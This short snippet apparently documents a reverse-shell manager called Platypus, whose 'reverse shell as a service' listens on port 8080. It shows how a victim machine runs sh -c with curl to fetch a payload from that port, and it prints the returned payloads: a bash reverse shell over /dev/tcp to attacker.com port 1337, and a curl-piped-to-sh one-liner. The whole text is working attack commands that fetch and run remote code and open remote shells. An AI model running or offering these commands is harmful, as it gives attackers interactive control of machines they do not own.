// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port

// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
# curl http://192.168.1.2:8080/attacker.com/1337
bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1'
# sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"

// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl http://192.168.1.2:8080/
curl http://192.168.1.2:8080/192.168.1.2/8080|sh
# sh -c "$(curl http://host:port/)"
